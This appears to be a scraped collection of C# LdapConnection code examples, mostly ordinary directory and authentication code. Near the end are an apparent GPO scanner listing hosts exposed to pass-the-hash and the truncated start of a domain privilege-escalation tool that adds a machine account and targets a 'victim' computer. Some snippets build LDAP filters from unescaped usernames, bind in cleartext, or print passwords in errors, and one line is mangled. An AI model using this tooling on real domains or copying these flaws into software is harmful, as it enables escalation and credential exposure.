                        throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist));
                    else
                        throw;
                }
            }

            //
            // Check if the specified path(container) exists on the specified server/domain
            // (NOTE: We need to do this using S.DS.Protocols rather than S.DS because we need to
            //            bypass the referral chasing which is automatic in S.DS)
            //

            LdapConnection tempConnection = new LdapConnection(new LdapDirectoryIdentifier(serverName + ":" + port), GetCredentialsWithDomain(credentials), ldapAuthType);
            tempConnection.SessionOptions.ProtocolVersion = 3;

            try
            {
                tempConnection.SessionOptions.ReferralChasing = System.DirectoryServices.Protocols.ReferralChasingOptions.None;
                SetSessionOptionsForSecureConnection(tempConnection, false /*useConcurrentBind */);
                tempConnection.Bind();


                SearchRequest request = new SearchRequest();
                request.DistinguishedName = containerDN;
                request.Filter = "(objectClass=*)";
                request.Scope = System.DirectoryServices.Protocols.SearchScope.Base;
                request.Attributes.Add("distinguishedName");
                request.Attributes.Add("objectClass");

                if (ServerSearchTimeout != -1)
                    request.TimeLimit = new TimeSpan(0, ServerSearchTimeout, 0);

                SearchResponse response;
                try
                {
                    response = (SearchResponse) tempConnection.SendRequest(request);
                    if (response.ResultCode == ResultCode.Referral || response.ResultCode ==  ResultCode.NoSuchObject)
                        throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist));
                    else if (response.ResultCode != ResultCode.Success)
                        throw new ProviderException(response.ErrorMessage);
                }
                catch (DirectoryOperationException oe)
                {
                    SearchResponse errorResponse = (SearchResponse) oe.Response;
                    if (errorResponse.ResultCode == ResultCode.NoSuchObject)
                        throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist));
                    else throw;
                }

                //
                // check that the container is of an object type that can be a superior of a user object
                //
                DirectoryAttribute objectClass = response.Entries[0].Attributes["objectClass"];
                if (!ContainerIsSuperiorOfUser(objectClass))
                    throw new ProviderException(SR.GetString(SR.ADMembership_Container_not_superior));

                //
                // Determine whether concurrent bind is supported
                //
                if ((connectionProtection == ActiveDirectoryConnectionProtection.None) || (connectionProtection == ActiveDirectoryConnectionProtection.Ssl))
                {
                    this.concurrentBindSupported = IsConcurrentBindSupported(tempConnection);
                }

            }
            finally
            {
                tempConnection.Dispose();
            }

            //
            // if this is ADAM, get the partition DN
            //
            if (directoryType == DirectoryType.ADAM)
            {
                adamPartitionDN = GetADAMPartitionFromContainer();
            }
            else
            {
                if (enablePasswordReset)
                {
                    // for AD, get the lockout duration for user account auto unlock
                    DirectoryEntry de = new DirectoryEntry(GetADsPath((string) PropertyManager.GetPropertyValue(rootdse, "defaultNamingContext")), GetUsername(), GetPassword(), AuthenticationTypes);
                    NativeComInterfaces.IAdsLargeInteger largeIntValue = (NativeComInterfaces.IAdsLargeInteger) PropertyManager.GetPropertyValue(de, "lockoutDuration");
                    Int64 int64Value = largeIntValue.HighPart * 0x100000000 + (uint) largeIntValue.LowPart;

                    // int64Value is the negative of the number of 100 nanoseconds interval that makes up the lockout duration
                    adLockoutDuration = new TimeSpan(-int64Value);
                }
            }
        }
示例#24
0
 /// <summary>
 /// Get the connection instance of the LDAP directory.
 /// </summary>
 /// <returns>LDAP Connection.</returns>
 private LdapConnection GetConnection()
 {
     var ldapConnection = new LdapConnection(connection.LDAPServer);
     ldapConnection.SessionOptions.SecureSocketLayer = false;
     ldapConnection.AuthType = AuthType.Basic;
     ldapConnection.Bind(new NetworkCredential(connection.UserName, connection.Password));
     return ldapConnection;
 }
示例#25
0
        static void Main(string[] args)
        {
            try
            {
                AuthType auth = AuthType.Negotiate;
                string server = null, searchBase = null, filter = null, user = null, pass = null, domain = null, fileOut = null;
                int maxcount = 0;
                bool ssl = false;
                string[] attrs = null;

                // Parse arguments

                for (int i = 0; i < args.Length; i++)
                {
                    switch (args[i])
                    {
                        case "-s":
                        case "-h":
                            server = args[++i];
                            break;

                        case "-o":
                            fileOut = args[++i];
                            break;

                        case "-b":
                            searchBase = args[++i];
                            break;

                        case "-f":
                        case "-r":
                            filter = args[++i];
                            break;

                        case "-l":
                            attrs = args[++i].Split(',', ' ');
                            break;

                        case "-m":
                            maxcount = int.Parse(args[++i]);
                            break;

                        case "-anon":
                            auth = AuthType.Anonymous;
                            break;

                        case "-x":
                            auth = AuthType.Basic;
                            break;

                        case "-a":
                            auth = (AuthType)Enum.Parse(typeof(AuthType), args[++i]);
                            break;

                        case "-D":
                        case "-u":
                            user = args[++i];
                            break;

                        case "-w":
                        case "-p":
                            pass = args[++i];
                            break;

                        case "-d":
                            domain = args[++i];
                            break;

                        case "-ssl":
                            ssl = true;
                            break;

                        default:
                            Console.Error.WriteLine("Unexpected argument: {0}", args[i]);
                            break;
                    }
                }

                if (args.Length == 0
                    || args[0].IndexOf('?') > -1
                    || string.IsNullOrEmpty(server)
                    || string.IsNullOrEmpty(filter))
                {
                    ShowUsage();
                    return;
                }

                using (var conn = new LdapConnection(server))
                {
                    conn.SessionOptions.ProtocolVersion = 3;
                    conn.SessionOptions.SecureSocketLayer = ssl;
                    conn.AuthType = auth;

                    if (!string.IsNullOrEmpty(user))
                    {
                        conn.Credential = string.IsNullOrEmpty(domain) ? new System.Net.NetworkCredential(user, pass)
                            : new System.Net.NetworkCredential(user, pass, domain);
                    }

                    conn.AutoBind = false;
                    conn.Bind();

                    var pager = new PagingHelper()
                    {
                        Connection = conn,
                        Attrs = attrs,
                        Filter = filter,
                        DistinguishedName = searchBase,
                        SizeLimit = maxcount
                    };

                    LdifWriter ldif = !string.IsNullOrEmpty(fileOut) ? new LdifWriter(fileOut)
                        : new LdifWriter(System.Console.Out);

                    ldif.WriteSummary = false;

                    using (ldif)
                    {
                        foreach (var entry in pager.GetResults())
                        {
                            ldif.BeginEntry(entry.DistinguishedName);

                            foreach (DirectoryAttribute attr in entry.Attributes.Values)
                            {
                                if (attr.Count == 0)
                                {
                                    Console.Error.WriteLine("Attribute {0} contains no values; possible ranged attr", attr.Name);
                                    continue;
                                }

                                try
                                {
                                    foreach (string s in attr.GetValues(typeof(string)))
                                    {
                                        ldif.WriteAttr(attr.Name, s);
                                    }
                                }
                                catch
                                {
                                    foreach (byte[] bytes in attr.GetValues(typeof(byte[])))
                                    {
                                        ldif.WriteAttr(attr.Name, bytes);
                                    }
                                }
                            }
                            ldif.EndEntry();
                        }
                        ldif.Close();
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("Error type {0}, message {1}: {2}", e.GetType(), e.Message, e.StackTrace);

                System.Environment.ExitCode = 1;
            }
        }
示例#26
0
        public static bool check_password_with_ldap(string username, string password)
        {
            // allow multiple, seperated by a pipe character
            string dns = btnet.Util.get_setting(
                "LdapUserDistinguishedName",
                "uid=$REPLACE_WITH_USERNAME$,ou=people,dc=mycompany,dc=com");

            string[] dn_array = dns.Split('|');

            string ldap_server = btnet.Util.get_setting(
                "LdapServer",
                "127.0.0.1");

            using (LdapConnection ldap = new LdapConnection(ldap_server))
            {

                for (int i = 0; i < dn_array.Length; i++)
                {
                    string dn = dn_array[i].Replace("$REPLACE_WITH_USERNAME$", username);

                    System.Net.NetworkCredential cred = new System.Net.NetworkCredential(dn, password);

                    ldap.AuthType = (System.DirectoryServices.Protocols.AuthType)System.Enum.Parse
                        (typeof(System.DirectoryServices.Protocols.AuthType),
                        Util.get_setting("LdapAuthType", "Basic"));

                    try
                    {
                        ldap.Bind(cred);
                        btnet.Util.write_to_log("LDAP authentication ok using " + dn + " for username: "******"\n";
                            exception_msg += e.InnerException.Message;
                        }

                        btnet.Util.write_to_log("LDAP authentication failed using " + dn + ": " + exception_msg);
                    }
                }
            }

            return false;
        }
        public string createUserLdap(User user)
        {
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);
            network = new NetworkCredential(ADMIN, ADMIN_PASS);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    string[] objectClass = new string[] { "top", "inetOrgPerson", "organizationalPerson", "person" };

                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;

                    String dn = DN_CREATE.Replace("{0}", user.email);

                    DirectoryAttributeCollection collection = new DirectoryAttributeCollection() {
                        new DirectoryAttribute("objectclass", objectClass),
                        new DirectoryAttribute("uid",user.email),
                        new DirectoryAttribute("sn", user.lastName),
                        new DirectoryAttribute("cn", user.userName),
                        new DirectoryAttribute("employeeNumber", user.userId),
                        new DirectoryAttribute("departmentNumber", user.userGroup),
                        new DirectoryAttribute("userPassword", user.password)
                    };

                    AddRequest addMe = new AddRequest(dn, "inetOrgPerson");
                    addMe.Attributes.AddRange(collection);

                    connection.Bind();
                    connection.SendRequest(addMe);

                    return "OK";

                }
                catch (LdapException ex)
                {
                    throw new BusinessException("Ldap error: " + ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException("Ldap error: " + e.Message);
                }
            }
        }
        public DirectoryEntry Validate(string username, string password)
        {
            var config = Config.Get<Settings>();
            var directory = new LdapDirectoryIdentifier(
                config.Host,
                config.Port,
                fullyQualifiedDnsHostName: true,
                connectionless: false);

            var credential = new NetworkCredential(
                config.Username,
                config.Password);

            var ldapConnection = new LdapConnection(directory, credential)
            {
                AuthType = AuthType.Basic
            };
            try
            {
                ldapConnection.SessionOptions.ProtocolVersion = 3;

                var request = new SearchRequest(
                        config.DistinguishedName,
                        "(&(objectClass=*)(uid=" + username + "))",
                        SearchScope.Subtree,
                        new string[] { "uid", "givenName", "sn", "mail" });

                var result = (SearchResponse)ldapConnection.SendRequest(request);

                if (result.Entries.Count == 0)
                    return null;

                var item = result.Entries[0];
                try
                {
                    ldapConnection.Bind(new NetworkCredential(item.DistinguishedName, password));
                }
                catch (Exception ex)
                {
                    Log.Error("Error authenticating user", ex, this.GetType());
                    return null;
                }

                // make sure to check these attribute names match with your LDAP attributes
                var uid = item.Attributes["uid"];
                var firstName = item.Attributes["givenName"];
                var lastName = item.Attributes["sn"];
                var email = item.Attributes["mail"];

                var entry = new DirectoryEntry
                {
                    Username = uid[0] as string,
                    FirstName = uid.Count > 0 ? firstName[0] as string : null,
                    LastName = lastName.Count > 0 ? lastName[0] as string : null,
                    Email = email.Count > 0 ? email[0] as string : null
                };

                return entry;
            }
            finally
            {
                try
                {
                    ldapConnection.Dispose();
                }
                catch
                {
                }
            }
        }
示例#29
0
        public static LdapConnection LdapConnectBind(Uri url, string user, string password)
        {
            // Create connection without SSL and other security
            LdapConnection connection = new LdapConnection(url.Host + ":" + url.Port);
            if (url.Scheme == "ldap")
            {
                connection.SessionOptions.SecureSocketLayer = false;
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = false;
            }
            else if (url.Scheme == "ldaps")
            {
                connection.SessionOptions.SecureSocketLayer = true;
            }
            else
            {
                throw new Exception("Unknown connection type:" + url.Scheme);
            }

            // Basic bind with user and old password
            NetworkCredential credential = new NetworkCredential(user, password);
            connection.AuthType = AuthType.Basic;
            try
            {
                connection.Bind(credential);
            }
            catch (LdapException ex)
            {
                // Invalid credentials
                if (ex.ErrorCode == 49)
                {
                    throw new Exception(String.Format("Invalid credentials: {0}, {1}", user, password));
                }
                else
                {
                    throw;
                }
            }

            return connection;
        }
        static void Main(string[] args)
        {
            string domain           = "";
            string domainController = "";
            string searchScope      = "";
            string searchBase       = "";
            bool   verbose          = false;

            var Options = new Options();

            if (CommandLineParser.Default.ParseArguments(args, Options))
            {
                if (Options.help == true)
                {
                    PrintHelp();
                    return;
                }
                if (!string.IsNullOrEmpty(Options.domain))
                {
                    domain = Options.domain;
                }
                if (string.IsNullOrEmpty(Options.searchScope))
                {
                    searchScope = "SubTree";
                }
                else
                {
                    searchScope = Options.searchScope;
                }
                if (!string.IsNullOrEmpty(Options.domainController))
                {
                    domainController = Options.domainController;
                }
                if (Options.verbose)
                {
                    verbose = true;
                }
                if (!string.IsNullOrEmpty(Options.searchBase))
                {
                    searchBase = Options.searchBase;
                }
            }

            var listEnableLUA = new List <string>();
            var listFilterAdministratorToken          = new List <string>();
            var listLocalAccountTokenFilterPolicy     = new List <string>();
            var listSeDenyNetworkLogonRight           = new List <string>();
            var listSeDenyRemoteInteractiveLogonRight = new List <string>();
            var computerPolicyEnableLUA = new List <string>();
            var computerPolicyFilterAdministratorToken          = new List <string>();
            var computerPolicyLocalAccountTokenFilterPolicy     = new List <string>();
            var computerPolicySeDenyNetworkLogonRight           = new List <string>();
            var computerPolicySeDenyRemoteInteractiveLogonRight = new List <string>();

            //discover current domain
            System.DirectoryServices.ActiveDirectory.Domain current_domain = null;

            if (string.IsNullOrEmpty(domain))
            {
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                    domain         = current_domain.Name;
                }
                catch
                {
                    Console.WriteLine("[!] Cannot enumerate domain.\n");
                    return;
                }
            }
            else
            {
                DirectoryContext domainContext = new DirectoryContext(DirectoryContextType.Domain, domain);
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(domainContext);
                }
                catch
                {
                    Console.WriteLine("\n[!] The specified domain does not exist or cannot be contacted. Exiting...\n");
                    return;
                }
            }

            if (string.IsNullOrEmpty(Options.domainController))
            {
                domainController = current_domain.FindDomainController().Name;
            }
            else
            {
                var ldapId = new LdapDirectoryIdentifier(Options.domainController);
                using (var testConnection = new LdapConnection(ldapId))
                {
                    try
                    {
                        testConnection.Bind();
                    }
                    catch
                    {
                        Console.WriteLine("\n[!] The specified domain controller cannot be contacted. Exiting...\n");
                        return;
                    }
                }
            }

            domain = domain.ToLower();

            String[] DC_array           = null;
            String   distinguished_name = null;

            distinguished_name = "CN=Policies,CN=System";
            DC_array           = domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }

            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(domainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;

            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;

            try
            {
                connection.Bind();
            }
            catch
            {
                Console.WriteLine("The domain controller cannot be contacted. Exiting...\n");
                return;
            }

            SearchRequest requestGUID = null;

            if (string.Equals(searchScope, "SubTree"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            }
            else if (string.Equals(searchScope, "OneLevel"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
            }
            else if (string.Equals(searchScope, "Base"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Base, null);
            }

            SearchResponse responseGUID = null;

            try
            {
                responseGUID = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestGUID);
            }
            catch
            {
                Console.WriteLine("\n[!] Search scope is not valid. Exiting...\n");
                return;
            }

            if (!string.IsNullOrEmpty(Options.searchBase))
            {
                string adPath = "LDAP://" + domain + searchBase;
                if (!DirectoryEntry.Exists(adPath))
                {
                    Console.WriteLine("\n[!] Search base {0} is not valid. Exiting...\n", adPath);
                    return;
                }
            }

            Console.WriteLine("\n[-] Domain Controller is: {0}\n[-] Domain is: {1}\n", domainController, domain);

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in responseGUID.Entries)
            {
                try
                {
                    var requestAttributes  = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=" + entry.Attributes["cn"][0].ToString(), System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
                    var responseAttributes = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestAttributes);
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry attribute in responseAttributes.Entries)
                    {
                        try
                        {
                            string displayName    = entry.Attributes["displayName"][0].ToString();
                            string name           = entry.Attributes["name"][0].ToString();
                            string gpcfilesyspath = entry.Attributes["gpcfilesyspath"][0].ToString();

                            string uncPathGptTmpl = gpcfilesyspath + @"\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf";

                            bool enableLUA = CheckEnableLUA(uncPathGptTmpl);

                            if (enableLUA)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by disabling EnableLUA: {0} {1}", displayName, name);
                                }
                                listEnableLUA.Add(name);
                            }

                            bool FilterAdministratorToken = CheckFilterAdministratorToken(uncPathGptTmpl);

                            if (FilterAdministratorToken)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: {0} {1}", displayName, name);
                                }
                                listFilterAdministratorToken.Add(name);
                            }

                            string uncPathRegistryXML = gpcfilesyspath + @"\MACHINE\Preferences\Registry\Registry.xml";

                            bool LocalAccountTokenFilterPolicy = CheckLocalAccountTokenFilterPolicy(uncPathRegistryXML);

                            if (LocalAccountTokenFilterPolicy)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: {0} {1}", displayName, name);
                                }
                                listLocalAccountTokenFilterPolicy.Add(name);
                            }

                            bool SeDenyNetworkLogonRight = CheckSeDenyNetworkLogonRight(uncPathGptTmpl);

                            if (SeDenyNetworkLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: {0} {1}", displayName, name);
                                }
                                listSeDenyNetworkLogonRight.Add(name);
                            }

                            bool SeDenyRemoteInteractiveLogonRight = CheckSeDenyRemoteInteractiveLogonRight(uncPathGptTmpl);

                            if (SeDenyRemoteInteractiveLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: {0} {1}\n", displayName, name);
                                }
                                listSeDenyRemoteInteractiveLogonRight.Add(name);
                            }
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the displayname, name and gpcfilesypath...\n");
                            return;
                        }
                    }
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve GPO Policies...\n");
                    return;
                }
            }

            Console.Write("\n[+] EnableLUA: \t\t\t\t");
            foreach (var guid in listEnableLUA)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";

                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyEnableLUA.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyEnableLUA.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            //Console.Write("\n");

            Console.Write("\n[+] FilterAdministratorToken: \t\t");
            foreach (var guid in listFilterAdministratorToken)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyFilterAdministratorToken.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyFilterAdministratorToken.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] LocalAccountTokenFilterPolicy: \t");
            foreach (var guid in listLocalAccountTokenFilterPolicy)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyLocalAccountTokenFilterPolicy.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyLocalAccountTokenFilterPolicy.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyNetworkLogonRight: \t\t");
            foreach (var guid in listSeDenyNetworkLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyNetworkLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyNetworkLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyRemoteInteractiveLogonRight: \t");
            foreach (var guid in listSeDenyRemoteInteractiveLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }
                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyRemoteInteractiveLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyRemoteInteractiveLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");
        }
示例#31
0
        /// <summary>
        /// Checks if the user is a local directory user.
        /// </summary>
        /// <param name="username">The username.</param>
        /// <returns>[true] if the user is a local directory user.</returns>
        /// <remarks>Documented by Dev03, 2008-11-25</remarks>
        private bool CheckLocalDirectoryUser(string username)
        {
            try
            {

                switch (connector.GetLocalDirectoryType())
                {
                    case LocalDirectoryType.ActiveDirectory:
                        string domain = username.Substring(0, username.IndexOf(@"\"));
                        PrincipalContext context;
                        if (!String.IsNullOrWhiteSpace(connector.GetLdapUser()) && !String.IsNullOrWhiteSpace(domain))
                            context = new PrincipalContext(ContextType.Domain, domain, connector.GetLdapUser(), connector.GetLdapPassword());
                        if (!String.IsNullOrWhiteSpace(domain))
                            context = new PrincipalContext(ContextType.Domain, domain);
                        else
                            context = new PrincipalContext(ContextType.Domain);

                        UserPrincipal user = UserPrincipal.FindByIdentity(context, username);
                        return user != null;
                    case LocalDirectoryType.eDirectory:
                        LdapConnection connection = new LdapConnection(new LdapDirectoryIdentifier(connector.GetLdapServer()));
                        connection.AuthType = AuthType.Basic;

                        connection.SessionOptions.SecureSocketLayer = connector.GetLdapUseSSL();
                        if (connector.GetLdapUser() != null && connector.GetLdapUser().Length > 0)
                            connection.Bind(new System.Net.NetworkCredential(connector.GetLdapUser(), connector.GetLdapPassword()));
                        else
                            connection.Bind();

                        string searchString = String.Format("(&(|(cn={0})(uid={0}))(|(objectClass=user)(objectClass=person)))",
                            username.Substring(username.LastIndexOf("\\") + 1));
                        SearchResponse response = connection.SendRequest(new SearchRequest(connector.GetLdapContext(),
                            searchString, SearchScope.Subtree, null)) as SearchResponse;

                        if (response.Entries.Count > 0)
                            return true;
                        break;
                }
            }
            catch { return false; }

            return true;
        }
示例#32
0
文件: Context.cs 项目: chcosta/corefx
 private void lockedLdapBind(LdapConnection current, NetworkCredential creds, ContextOptions contextOptions)
 {
     current.AuthType = ((ContextOptions.SimpleBind & contextOptions) > 0 ? AuthType.Basic : AuthType.Negotiate);
     current.SessionOptions.Signing = ((ContextOptions.Signing & contextOptions) > 0 ? true : false);
     current.SessionOptions.Sealing = ((ContextOptions.Sealing & contextOptions) > 0 ? true : false);
     if ((null == creds.UserName) && (null == creds.Password))
     {
         current.Bind();
     }
     else
     {
         current.Bind(creds);
     }
 }
示例#33
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine(victim_distinguished_name);
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            try{
                //连接ldap
                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
                //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
                System.DirectoryServices.Protocols.LdapConnection connection = null;
                //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
                connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();
                //通过ldap找计算机
                System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
                myldapConnection.Path = "LDAP://" + victim_distinguished_name;
                myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
                search.Filter = "(CN=" + victimcomputer + ")";
                string[] requiredProperties = new string[] { "samaccountname" };
                foreach (String property in requiredProperties)
                {
                    search.PropertiesToLoad.Add(property);
                }
                System.DirectoryServices.SearchResult result = null;
                try
                {
                    result = search.FindOne();
                }
                catch (System.Exception ex)
